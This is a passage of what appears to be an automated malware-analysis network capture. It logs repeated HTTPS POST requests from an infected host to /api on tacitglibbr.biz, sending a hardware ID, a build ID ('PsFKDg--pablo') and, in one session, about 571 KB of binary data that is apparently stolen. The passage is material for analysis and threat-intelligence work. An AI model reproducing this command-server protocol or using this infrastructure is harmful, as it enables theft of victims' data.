JQp/dmf2X2hzzKvSwhTagtloM8jWJYpOYJgCA5UcWC83ZiAke9kSJ2Oys7PCaozJlz1ti9Ju3wI2pVBJx00cfiIKAUNy7Ft3ZeXkypVqlcmXVmPCxzWWVHy2RRv+AEplJWx/UWfoUmB046atzSCdmch4LIuOboECKfUMG8VfSiU1ZmQxN7EMNX288srNasLbgS8xi5huwEFjtERY101NQ1sTJWli8U1ZXPXxh909i8XabC3FxzjHDDGpAgP4DkI
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 7a 51 32 76 51 6b 30 4e 61 4b 35 6c 5a 55 7a 32 70 2b 50 4e 33 47 46 67 44 7a 48 47 6a 48 68 51 55 6e 54 53 41 6c 72 5a 6e 4d 42 57 6b 50 6f 57 32 5a 30 34 76 79 46 35 52 53 50 69 73 46 68 4a 4e 33 52 62 73 6b 43 66 75 59 61 59 6f 45 47 53 6b 49 72 64 43 63 6b 50 4b 5a 70 5a 47 7a 38 37 4a 7a 4b 5a 37 32 48 79 47 34 31 32 39 63 68 78 77 77 78 6f 41 49 44 6b 77 42 4b 65 58 52 30 5a 7a 51 32 76 51 6b 30 4e 61 4b 35 6c 5a 55 7a 32 70 2b 50 4e 33 47 46 67 44 7a 48 47 6a 48 68 51 55 6e 54 53 41 6c 72 5a 6e 4d 42 57 6b 50 6f 57 32 5a 30 34 76 79 46 6c 41 53 73 71 50 46 52 4e 73 6a 4f 49 49 42 55 59 4f 59 4d 47 38 34 4f 55 6b 51 6c 66 48 39 62 4b 71 5a 45 4a 7a 71 79 33 6f 6e 56 4a 4a 32 66 33 69 49 45 78 63 63 76 6b 56 4a 6d 71 51 31 31 39 32 39 4b 4d 79 55 79 Data Ascii: zQ2vQk0NaK5lZUz2p+PN3GFgDzHGjHhQUnTSAlrZnMBWkPoW2Z04vyF5RSPisFhJN3RbskCfuYaYoEGSkIrdCckPKZpZGz87JzKZ72HyG4129chxwwxoAIDkwBKeXR0ZzQ2vQk0NaK5lZUz2p+PN3GFgDzHGjHhQUnTSAlrZnMBWkPoW2Z04vyFlASsqPFRNsjOIIBUYOYMG84OUkQlfH9bKqZEJzqy3onVJJ2f3iIExccvkVJmqQ11929KMyUy
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 46 69 57 55 2f 67 37 4a 72 59 61 4b 75 66 7a 47 38 74 7a 49 42 67 78 31 6f 78 2f 67 4a 32 30 30 6b 61 66 69 56 36 66 32 67 6b 76 68 78 71 63 50 58 37 69 5a 63 74 67 49 36 50 63 47 33 53 67 44 6a 48 47 69 4c 6f 41 6b 6d 42 46 6b 6f 36 61 7a 6b 2b 5a 32 72 6c 54 6e 56 6b 38 66 32 4a 6e 42 53 6b 70 4e 31 6f 4d 38 69 43 48 34 70 47 5a 37 4e 42 53 38 5a 77 4e 46 42 33 4d 79 39 6e 4a 73 70 62 61 6d 37 4d 31 62 33 4b 4c 59 72 4c 36 57 77 31 79 49 42 67 78 31 6f 78 2f 67 4a 32 30 30 6b 61 66 69 63 59 4f 47 6c 6f 70 6b 4d 70 65 37 4c 39 79 6f 4e 35 31 4d 6e 64 4c 33 75 4c 68 79 32 56 55 48 65 6c 56 46 69 47 63 44 52 51 64 7a 4d 76 5a 79 62 58 55 57 4e 30 35 2b 69 61 33 42 53 6b 70 4e 31 6f 4d 38 69 43 43 37 30 41 51 4c 42 42 57 38 39 4a 53 6a 4d 6c 4c 48 38 38 4a Data Ascii: FiWU/g7JrYaKufzG8tzIBgx1ox/gJ200kafiV6f2gkvhxqcPX7iZctgI6PcG3SgDjHGiLoAkmBFko6azk+Z2rlTnVk8f2JnBSkpN1oM8iCH4pGZ7NBS8ZwNFB3My9nJspbam7M1b3KLYrL6Ww1yIBgx1ox/gJ200kaficYOGlopkMpe7L9yoN51MndL3uLhy2VUHelVFiGcDRQdzMvZybXUWN05+ia3BSkpN1oM8iCC70AQLBBW89JSjMlLH88J

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50225	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:49 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FKWV45N74PDX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: tacitglibbr.biz
2024-12-16 14:04:49 UTC	1258	OUT	Data Raw: 2d 2d 46 4b 57 56 34 35 4e 37 34 50 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 4b 57 56 34 35 4e 37 34 50 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 4b 57 56 34 35 4e 37 34 50 44 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 4b 57 56 34 35 4e 37 34 50 44 58 0d 0a Data Ascii: --FKWV45N74PDXContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--FKWV45N74PDXContent-Disposition: form-data; name="pid"1--FKWV45N74PDXContent-Disposition: form-data; name="lid"PsFKDg--pablo--FKWV45N74PDX
2024-12-16 14:04:50 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4bdco4cn9hnpk84rfi03m4a9n2; expires=Fri, 11-Apr-2025 07:51:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UefGUCmzef2KcHJSfPAYU%2FKx%2Fl5GCorofikcx77XBqY4D11EscCOCguBG0%2FVGKHQMDJs9Ak%2Bk7PHIxlfx0154U95h0sGM59cvqlGig8skbWdV8%2BK938ES%2BR3DqlIakV%2BmVY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39887c14728c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2240&min_rtt=1764&rtt_var=1613&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2168&delivery_rate=523954&cwnd=157&unsent_bytes=0&cid=fd45f1c22ed56de3&ts=1197&x=0"
2024-12-16 14:04:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50226	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:51 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UEM3VZX5A2R5M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: tacitglibbr.biz
2024-12-16 14:04:51 UTC	12829	OUT	Data Raw: 2d 2d 55 45 4d 33 56 5a 58 35 41 32 52 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 45 4d 33 56 5a 58 35 41 32 52 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 45 4d 33 56 5a 58 35 41 32 52 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 45 4d 33 56 5a 58 35 41 32 52 Data Ascii: --UEM3VZX5A2R5MContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--UEM3VZX5A2R5MContent-Disposition: form-data; name="pid"2--UEM3VZX5A2R5MContent-Disposition: form-data; name="lid"PsFKDg--pablo--UEM3VZX5A2R
2024-12-16 14:04:52 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5qgn3414h84chq80rsrdge58r9; expires=Fri, 11-Apr-2025 07:51:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w14Yz8XXd4zvPhDnE9t89u8r241gR8Vg8iW1Ca3qFCCMcdm7FlMXr9S8oS2%2F%2BKS5479gqJVbUUL2xkbTfpzdX2vgueBfCmPRRLumMD9NBuzgTIbdV7jeE3cDAt2cWoSZ7pc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3998db94efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1838&rtt_var=705&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13763&delivery_rate=1535226&cwnd=113&unsent_bytes=0&cid=72c8f59468fd41ad&ts=851&x=0"
2024-12-16 14:04:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50228	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:52 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IONUYH79Y62NT5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571776 Host: tacitglibbr.biz
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: 2d 2d 49 4f 4e 55 59 48 37 39 59 36 32 4e 54 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 4f 4e 55 59 48 37 39 59 36 32 4e 54 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 4f 4e 55 59 48 37 39 59 36 32 4e 54 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 4f 4e 55 59 48 37 39 Data Ascii: --IONUYH79Y62NT5Content-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--IONUYH79Y62NT5Content-Disposition: form-data; name="pid"1--IONUYH79Y62NT5Content-Disposition: form-data; name="lid"PsFKDg--pablo--IONUYH79
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: 71 82 3b 14 12 cb 5a 9a f0 bd 01 08 fc 2a dd 1f 1c 26 bb 3f 04 0e 7b 0d 7f 2a 18 41 d0 2f 1e 0d 5a be cc 0c 11 01 df e7 b1 b6 3d fb b6 06 de f1 5a 3d ba 38 e7 0a 58 aa 13 f8 df ca f0 25 6b 7e 10 c2 8f e0 49 9e b9 fd 38 f6 27 24 d9 39 e0 bf cd 22 58 90 70 d8 ea e6 69 c1 65 89 39 02 6b f6 4a d8 45 c4 b9 ec b7 bc 7e d0 44 ba 17 07 1a 8b 7a b3 19 e1 f7 41 c7 13 78 ce b7 b1 9e 07 c5 00 7e 37 11 05 9f c0 f3 6c 99 ba 5f 66 4b 59 78 2a 25 58 04 8f ff 40 b7 db 6f 36 83 eb ba c8 b8 9a e9 e2 c9 c9 68 63 29 db 7e f2 45 fb 63 78 1e f7 66 52 99 f1 9b a8 c9 71 3a 61 8c 7e e0 49 58 ef 11 7c ba 87 31 36 2d 54 6f 31 f1 30 a5 14 e1 af 98 99 b6 e2 9e f1 d5 04 ef c5 2d d2 40 88 42 77 70 88 42 19 98 23 2b 1b 1a c7 1d 8c 9a 74 87 2d 5e 55 ec 16 29 c3 cd 74 fd 93 e5 cb b9 e7 48 Data Ascii: q;Z&?{A/Z=Z=8X%k~I8'$9"Xpie9kJE~DzAx~7l_fKYx*%X@o6hc)~EcxfRq:a~IX\|16-To10-@BwpB#+t-^U)tH
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: f2 df 8d 17 b4 6e 83 3d ef 8a d1 29 4f 18 8e 73 01 d7 df dd 50 32 17 5d f5 b8 2d 99 d9 06 ba 70 ea b5 84 44 ad ad 16 b1 a4 64 7d 4b 77 ae e8 ea 57 85 ec 02 e7 1c 25 84 60 69 d6 97 ba e8 70 7c ae 8f ca 0b 09 1d 04 c4 1b 8b 4a 9b 53 46 7e eb 2e c2 fc 8a 5a a4 81 a7 d9 5a 1c 01 1b ca 74 be 7b a4 df 04 61 12 1c c0 e7 48 41 87 ce 1d 04 f8 49 c7 44 88 97 58 20 e6 9d 8d 8c f7 98 25 19 6c 66 23 2c 2a f3 76 25 11 e0 eb 74 7f d0 51 f0 45 40 b3 3b 1c a7 b3 4c 6d 7b 16 e6 e8 be da f3 04 56 e7 f7 9c 44 37 4e 20 66 58 1e fc c7 d6 d3 9f e8 72 a9 c2 7b 89 13 1c 63 9d d8 63 49 67 6a 67 30 0f 8a 40 ac b9 9a 63 fc b4 01 19 90 1b c3 d6 cc 81 f4 bf c6 06 0d 9d 53 6a 0a e1 0f 36 c5 d8 7d 47 44 ea c8 e5 bf 54 c0 eb fb 89 4c 46 b7 f5 fe ae c2 43 3c 16 1b 4c 9a 40 5d ae cf 6b e3 Data Ascii: n=)OsP2]-pDd}KwW%`ip\|JSF~.ZZt{aHAIDX %lf#,*v%tQE@;Lm{VD7N fXr{ccIgjg0@cSj6}GDTLFC<L@]k
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: 7d 9d 07 c6 a9 c1 6d f7 5a 2f da 9a 15 78 cd 5c fb 5c 4e be c1 71 e3 43 a2 11 e7 20 c4 a5 65 08 0d c4 58 8b e9 80 32 03 3f 31 43 c1 b1 37 02 37 45 e7 a6 06 88 08 4b d8 2c 63 67 42 89 63 55 99 25 82 e1 67 2b ad dc 35 d9 55 5c 48 d8 17 e6 36 7c 3b f8 ac 7e 93 57 95 32 e5 7d 7a 0b b6 f9 07 c7 26 b7 ee 89 7c 1b 20 c2 c6 65 dc 83 02 de 9e e8 d1 74 5a eb 1d 5e 07 17 a1 5f 5b 88 0c 08 00 a9 a4 d4 65 5e 9e a3 bb 99 98 5f 84 20 26 21 fb 9f 44 bd 5f f7 5b ca 3c 2b bb a0 0a c6 0d 40 76 ad 71 d0 c4 d9 6e e5 11 7c 46 54 b8 6d 4d e6 60 51 18 a5 c1 64 5a fd e3 4b c5 33 72 8a 5d 6b ae 71 d1 de d0 84 8e dc ce e4 23 61 25 b1 f5 87 c4 1a 27 84 cf ad e7 0d 5b e5 b8 15 6c 73 f4 44 9d 0b b1 f2 93 f6 da f6 aa 5f b3 8b a8 50 59 4a d3 fe d9 62 f7 4b 9f 1d 92 1c c6 cb bd 70 b8 7f Data Ascii: }mZ/x\\NqC eX2?1C77EK,cgBcU%g+5U\H6\|;~W2}z&\| etZ^_[e^_ &!D_[<+@vqn\|FTmM`QdZK3r]kq#a%'[lsD_PYJbKp
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: 1e 8c 5e 1c 7e ad 49 98 ca a5 05 22 96 9c 8f 74 67 49 45 8c 3f 4c d0 3a 54 20 ea dc 32 76 b2 27 af 85 10 17 1e c8 d7 57 ea ea 84 38 1f 95 5d 81 fe 15 da 14 3c 6d a2 f4 4b 3b ff 84 3b cd 02 41 34 64 83 15 ec fa 80 10 c1 9f ef 4d 9d 88 d5 6c c9 1c 8f 1c a0 2a 3e 23 86 bc 51 8f df d1 42 8f 57 95 5d ba 8d 4d ae 11 4b 0e 14 71 89 15 40 96 5c 4c a3 25 17 12 4d f3 7e ab 0a 88 bf f3 6a 93 ba b7 6e 32 25 44 20 9a 56 40 41 3c e7 ae 2f 8d 63 52 8a 56 9e 58 0d 6e aa 58 19 cf 77 e9 23 53 77 e2 f5 f3 ee fb ad 43 34 f7 59 c0 0b 92 84 9b 71 de aa 40 28 8a f6 2d 03 93 2e 81 1a 55 b8 3e b3 bc c6 d7 1f 37 f5 f7 b9 7f 01 38 87 c9 c6 f8 c1 64 10 fb 53 2c a8 16 fa df ad cb 21 14 9e 29 8b 25 ff ef 66 30 0c 12 78 07 0b fa a9 02 dc 4e 7c d6 66 fc df 52 f9 b4 52 39 c6 84 66 6a c8 Data Ascii: ^~I"tgIE?L:T 2v'W8]<mK;;A4dMl*>#QBW]MKq@\L%M~jn2%D V@A</cRVXnXw#SwC4Yq@(-.U>78dS,!)%f0xN\|fRR9fj
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: b8 e8 97 8a a6 bd 19 7a b6 bc aa d4 d7 7e 97 32 b8 72 18 08 31 87 0e 5d 30 47 52 55 f1 d1 ba 66 c9 a6 a2 5d 59 79 06 c6 7a ba 5b 05 02 c7 28 9e ee 69 f6 97 3f a7 c5 4a 44 5d a9 b5 1b ae be 43 40 91 9b f9 eb bc f4 c7 e7 ff 7a 54 10 1c a5 cb e5 9b 47 bc 5a ab 6f d3 95 5a 43 77 7c 80 72 5d ce 8f f2 3e 48 6f e7 a2 48 0b 37 a3 e1 4d 95 48 5a 90 7c e6 d7 62 89 88 82 f8 3c dd de 69 57 59 b8 53 32 5b 8d d0 4c d2 66 4d e2 31 08 0f e4 ec 00 38 3d 2e e5 88 0e 66 94 a1 4d 95 93 a3 e4 83 66 d4 35 8c ed 04 7e 2d d8 90 dd d4 62 68 9d 0c 25 66 d9 83 7b ab 3f 8b 43 4b 49 ac 61 2e 1c bb 58 29 50 a7 e7 f3 f5 42 3d 8e e7 7c d3 1a 9a 2e af af b5 1b 10 57 fe 6b 10 3c fe a5 38 2f ba da f1 17 54 e2 3e 37 ed 32 87 7b 94 f9 29 67 20 4e cb 63 9d d8 53 34 9f ec 32 d3 40 7b 58 ec 76 Data Ascii: z~2r1]0GRUf]Yyz[(i?JD]C@zTGZoZCw\|r]>HoH7MHZ\|b<iWYS2[LfM18=.fMf5~-bh%f{?CKIa.X)PB=\|.Wk<8/T>72{)g NcS42@{Xv
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: 43 56 ec 64 4b e5 76 b0 9f fc d6 94 54 07 0b 0e 99 40 0a 98 ed e6 3e 4f 1d 73 23 fb 7b 05 70 da 23 d0 f5 00 2f fe 80 d1 22 1e 10 c3 05 6c d1 90 0d d7 d0 a0 e0 f9 8b 3b b3 dc 0e bb 12 19 75 22 6b 7b e7 49 35 f4 50 88 cc 8b ba 24 52 f3 94 12 b9 d3 f8 59 0f bf 61 3c 4f 22 89 b7 36 b1 66 4c 8a 8e 3d c5 85 ea 80 56 47 6f 6b 4a c5 91 84 b2 bd 0a 07 8f 77 68 fa a2 ef df 00 f7 61 a4 00 00 12 a8 a8 74 2e e7 58 a9 ad 4f de 8e ff d1 cb 2c 33 f3 23 03 a6 05 5e 09 27 f0 57 fb a0 6f c9 d8 86 a6 62 fd 6f 43 cd c2 27 49 45 ab cf e6 e8 cf 8b 19 1d ab 3b b3 71 b6 de 8a 00 d4 ba fa 9f ef a6 14 b1 e0 d6 25 b3 f5 2c 46 73 5e 24 4c cc 9f 0b 18 0f e9 f9 93 33 26 17 41 7b cd bd ac 41 51 1b d9 1e 29 0b bd 27 36 fa fb 9e 67 c5 b0 a0 2e 98 42 61 ea d0 7d d2 b8 82 68 97 82 9b 18 6b Data Ascii: CVdKvT@>Os#{p#/"l;u"k{I5P$RYa<O"6fL=VGokJwhat.XO,3#^'WoboC'IE;q%,Fs^$L3&A{AQ)'6g.Ba}hk
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: 15 13 68 30 26 90 95 cc 2e 8a 09 e8 08 e4 cf d3 fc c5 f6 ef 6d e4 7c cd e2 76 54 b9 d6 6a ab a1 0d 96 b8 f5 61 75 0f 24 c5 ae 7b 16 49 df ee bc 92 b0 3e f3 d2 e8 79 71 51 43 ab d0 89 a3 b1 63 fd 2e 0c 81 80 85 e9 9e dd 43 8a c9 ce ae b5 cd 76 81 55 aa 4e b6 25 26 0b 77 9a bf 36 0e 8c 05 f4 64 25 c0 46 b6 75 df 36 a9 1a 91 4b ae 8e 57 2d 78 96 cc 0e 51 08 71 5e cf 96 1a ae 60 65 7e cc 6a c3 20 ce fe 11 a9 a7 1f 6a cd fc 7b c2 f1 d0 ba 34 cf fd ee d3 7a 71 cf 4b 7b 86 b6 41 7c 46 ae cb 33 97 a2 e9 63 26 8b 82 06 b3 18 71 a1 76 14 ea a0 94 47 a2 b9 e1 ce 82 77 7c ad df 18 34 b7 a0 c4 5c f8 a0 de 14 39 cf 27 c3 f5 e6 8e 42 e6 32 fc a4 5e ae 54 36 30 e4 26 ba 4b 69 86 fb 33 4f f3 d7 07 6b e7 c8 99 9d 7f fc 92 a4 df dd b7 99 14 96 10 bb 3e 77 ce cc ad cf 8b 20 Data Ascii: h0&.m\|vTjau${I>yqQCc.CvUN%&w6d%Fu6KW-xQq^`e~j j{4zqK{A\|F3c&qvGw\|4\9'B2^T60&Ki3Ok>w
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: dd d2 19 30 4a e0 a9 1c 17 d4 9e 9c f8 70 2c 0e f7 17 fe ba 8c 1a c7 93 0d f5 52 81 56 0b a0 9d 35 3b 26 07 d4 cb 21 24 b8 a9 4b 6c 6b 85 ef 5c fb f9 98 e2 50 e6 43 43 03 46 8d 11 cc d4 bc f6 6c 68 d1 9d 55 68 ac 24 3e 94 12 11 13 86 88 a2 84 21 22 fc 65 7e 2b 58 0d 26 76 76 c2 f9 fe 26 58 d5 5f 4d 01 5a e3 4c cf b3 02 cb e8 15 2f b6 cc 32 bf 78 b3 15 77 ab 84 c9 ff 5a 45 6b 3d 53 1e 24 eb 37 1f 74 9a ec 2c 8c 7a 9e a8 00 bb d0 6b 05 f2 4e 13 03 d0 71 2c 89 cd 12 3f c4 a8 58 a3 38 03 80 3e ac 82 ce f2 c6 d4 42 f1 29 7c 86 f6 f6 13 cc b4 27 2a 1e ee a8 fd 22 8d 3a 0a 51 d0 da e3 ab 6e ad d2 73 ff c1 b0 03 cc e3 0c 3e 7b 2f dd 15 3c e7 f3 0d 36 07 6f 85 ff 81 af d9 32 5c df a1 8b 0c 39 e8 4d 49 30 53 19 1b 23 04 de 0b a7 f6 f8 6f 7d d0 49 0f d5 77 b5 79 96 Data Ascii: 0Jp,RV5;&!$Klk\PCCFlhUh$>!"e~+X&vv&X_MZL/2xwZEk=S$7t,zkNq,?X8>B)\|'*":Qns>{/<6o2\9MI0S#o}Iwy
2024-12-16 14:04:52 UTC	15331	OUT	Data Raw: b7 88 5c b0 be 10 a2 a1 16 5f 4a 93 8f 95 88 d9 7e b7 6b 72 e7 f6 36 a8 64 7f bb f4 4e 6e cb 33 a9 a1 b7 09 83 18 a4 8c 90 a1 40 fa 41 6b 5e 81 f4 27 d6 5c 8f ef 51 37 09 9a 20 f2 2f 24 fd da 05 d4 5a 5a f5 8d 49 54 47 6c 61 33 e2 a5 ac b5 62 46 19 42 17 5f b8 13 ec 50 f9 d3 44 37 40 1c b7 21 2b 03 db 83 b2 c9 77 c9 25 58 e5 fb b2 4a f4 f7 33 5d 62 21 85 2a 51 3f 45 71 cd 5b 71 82 74 1e f6 2b 3e 93 d3 68 c2 5b 85 d0 14 39 a1 0f 44 73 28 f3 ba c0 27 46 41 8d 48 6a 03 75 88 1d 29 c5 79 d5 de d2 bc 74 86 98 7a 87 b5 68 ef 5c 6d cf bf 84 f6 c9 c6 bb 38 57 19 34 88 fc 25 24 e7 5f 70 cf d1 04 48 01 03 4a 10 f7 9a 22 37 db fd c9 cd a8 2b 26 96 c2 55 ea f6 a1 dc e0 11 e0 19 0a 89 70 48 bf bb d4 61 69 5e 3e cb 9b 20 87 8c ab 0d bb ce b7 0b 7c f4 22 f1 73 f8 98 e8 Data Ascii: \_J~kr6dNn3@Ak^'\Q7 /$ZZITGla3bFB_PD7@!+w%XJ3]b!*Q?Eq[qt+>h[9Ds('FAHju)ytzh\m8W4%$_pHJ"7+&UpHai^> \|"s
2024-12-16 14:04:54 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q97rcfusergs8f91ld045i5a4r; expires=Fri, 11-Apr-2025 07:51:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ysEQmJzI2PNhA4Jkz4t1tNYuOc9y55%2BCIdhcvj8jIenDOsvoq9XUoJ%2FFG03CP2rb8caom6yZKo0GLYG%2F0h5j4NIE%2BONDqO91hoYkcSa5qcdAUIh4kRt53MyqvElATgj2Y6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f399a1fc5efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1818&rtt_var=691&sent=360&recv=597&lost=0&retrans=0&sent_bytes=2840&recv_bytes=574318&delivery_rate=1572428&cwnd=113&unsent_bytes=0&cid=d79f99a0cde5166e&ts=2319&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	50229	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:53 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OWWKPZ9G1LI68DP8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15093 Host: tacitglibbr.biz
2024-12-16 14:04:53 UTC	15093	OUT	Data Raw: 2d 2d 4f 57 57 4b 50 5a 39 47 31 4c 49 36 38 44 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 57 57 4b 50 5a 39 47 31 4c 49 36 38 44 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 57 57 4b 50 5a 39 47 31 4c 49 36 38 44 50 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 